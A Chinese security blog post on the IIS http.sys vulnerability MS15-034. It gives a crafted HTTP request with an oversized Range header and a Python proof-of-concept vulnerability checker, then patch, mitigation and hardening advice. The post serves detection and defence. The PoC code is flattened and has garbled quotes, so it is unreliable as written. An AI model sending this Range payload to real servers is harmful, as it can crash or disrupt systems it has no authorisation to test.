使用发包工具构造http请求包检测 以fiddler工具为例,构造如下图的请求包:
1 GET http://192.168.174.145/ HTTP/1.1
2 Host: 192.168.174.145
3 Range: bytes=0-18446744073709551615
4 Connection: keep-alive
5 Cache-Control: max-age=0
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
漏洞确认 如果收到服务器返回包如下, 则说明存在此漏洞。建议您尽快制定防护计划,以避免系统在获得加固前遭受攻击。
漏洞验证POC
#!/usr/bin/env python __author__ = ';jastra'; class bg_colors: VULN = ';33[92m'; NONVULN= ';33[95m'; EXPLOIT = ';33[91m'; try: import requests import re except ImportError as ierr: print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr) def identify_iis(domain): req = requests.get(str(domain)) remote_server = req.headers[';server';] if "Microsoft-IIS" in remote_server: print(bg_colors.VULN + "[+] 服务是 " + remote_server) ms15_034_test(str(domain)) else: print(bg_colors.NONVULN + "[-] 不是IIS 可能是: " + remote_server) def ms15_034_test(domain): print(" 启动vuln检查!") vuln_buffer = "GET / HTTP/1.1 Host: stuff Range: bytes=0-18446744073709551615 "; req = requests.get(str(domain), params=vuln_buffer) if req.headers[';content';] == "请求范围不符合": print(bg_colors.EXPLOIT + "[+] 存在漏洞") else: print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+ "需要手动检测") usr_domain = raw_input("输入域名扫描: ") identify_iis(usr_domain)
http.sys漏洞防护
经过上面的漏洞检测步骤后,如果确认您的业务环境中存在http.sys漏洞,那么就需要尽快制定并启动加固方案,这些加固从漏洞补丁开始,到产品防护,到整体防护,逐步推进。
漏洞加固
使用IIS的用户,可以通过Windows Update的方式获得对应的KB3042553热修补补丁,建议用户开启自动更新服务以及时安装最新补丁,相关公告请见:
http.sys漏洞补丁公告:http://technet.microsoft.com/security/bulletin/MS15-034
如果您的业务系统暂时还无法升级补丁,那么可通过禁用IIS 内核缓存来临时缓解此漏洞的危险,但需要注意这可能会导致IIS性能下降,具体的执行方法可以参考:
http.sys漏洞缓解方案:https://technet.microsoft.com/zh-cn/library/cc731903(v=ws.10).aspx
IIS加固
虽然IIS7中http.sys已经独立出来成为系统级驱动程序,但以史为鉴,建议用户在安装补丁的同时也需要考虑IIS加固事项,具体的最佳实践请参考:
IIS7加固方案: https://technet.microsoft.com/zh-cn/library/cc731278(WS.10).aspx
最后
欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。
参考博文地址:
http://www.ijiandao.com/safe/cto/12829.html
http://www.freebuf.com/articles/system/64185.html